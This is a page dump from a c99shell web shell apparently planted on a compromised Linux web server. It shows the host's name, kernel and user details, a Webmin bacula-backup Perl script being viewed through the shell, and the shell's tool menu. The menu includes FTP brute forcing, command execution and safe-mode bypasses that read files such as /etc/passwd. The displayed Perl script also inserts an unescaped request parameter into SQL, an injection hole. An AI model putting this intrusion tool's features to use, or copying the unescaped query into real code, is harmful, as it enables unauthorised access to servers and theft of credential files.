!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/bacula-backup/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     list.cgi (2.42 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Returns a list of files and directories under some directory

$trust_unknown_referers = 1;
require './bacula-backup-lib.pl';
&ReadParse();
print "Content-type: text/plain\n\n";

# Get the parent directory ID
$dbh = &connect_to_database();
$cmd = $dbh->prepare("select PathId from Path where Path = ?");
$d = $in{'dir'} eq "/" ? "/" : $in{'dir'}."/";
$wind = &unix_to_dos($d);
$cmd->execute($wind);
($pid) = $cmd->fetchrow();
$cmd->finish();

if ($in{'job'} ne "") {
    $jobsql = "and Job.JobId = $in{'job'}";
    }

if ($in{'volume'}) {
    # Search just within one volume
    # Subdirectories of directory, that are on this volume
    $cmd1 = $dbh->prepare("
        select Path.Path
        from Path, File, Job, JobMedia, Media
        where File.PathId = Path.PathId
        and File.JobId = Job.JobId
        and Job.JobId = JobMedia.JobId
        and JobMedia.MediaId = Media.MediaId
        and Media.VolumeName = ?
        $jobsql
        ");
    $cmd1->execute($in{'volume'}) || die "db error : ".$dbh->errstr;
    while(($f) = $cmd1->fetchrow()) {
        $f = &dos_to_unix($f);
        if ($f =~ /^(\Q$d\E[^\/]+\/)/) {
            push(@rv, $1);
            }
        }
    $cmd1->finish();

    # Files in directory, that are on this volume
    $cmd2 = $dbh->prepare("
        select Filename.Name
        from File, Filename, Job, JobMedia, Media
        where File.FilenameId = Filename.FilenameId
        and File.PathId = ?
        and File.JobId = Job.JobId
        and Job.JobId = JobMedia.JobId
        and JobMedia.MediaId = Media.MediaId
        and Media.VolumeName = ?
        $jobsql
        ");
    $cmd2->execute($pid, $in{'volume'}) || die "db error : ".$dbh->errstr;
    while(($f) = $cmd2->fetchrow()) {
        push(@rv, "$d$f") if ($f =~ /\S/);
        }
    $cmd2->finish();
    }
else {
    # Search all files
    # Subdirectories of directory
    $cmd1 = $dbh->prepare("
        select Path
        from Path, File, Job
        where File.PathId = Path.PathId
        and File.JobId = Job.JobId
        $jobsql
        ");
    $cmd1->execute() || die "db error : ".$dbh->errstr;
    while(($f) = $cmd1->fetchrow()) {
        $f = &dos_to_unix($f);
        if ($f =~ /^(\Q$d\E[^\/]+\/)/) {
            push(@rv, $1);
            }
        }
    $cmd1->finish();

    # Files in directory
    $cmd2 = $dbh->prepare("
        select Filename.Name
        from File, Filename, Job
        where File.FilenameId = Filename.FilenameId
        and File.PathId = ?
        and File.JobId = Job.JobId
        $jobsql
        ");
    $cmd2->execute($pid) || die "db error : ".$dbh->errstr;
    while(($f) = $cmd2->fetchrow()) {
        push(@rv, "$d$f") if ($f =~ /\S/);
        }
    $cmd2->finish();
    }

# Return output
@rv = &unique(@rv);
print "\n";
foreach $f (@rv) {
    print $f,"\n";
    }


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0072 ]--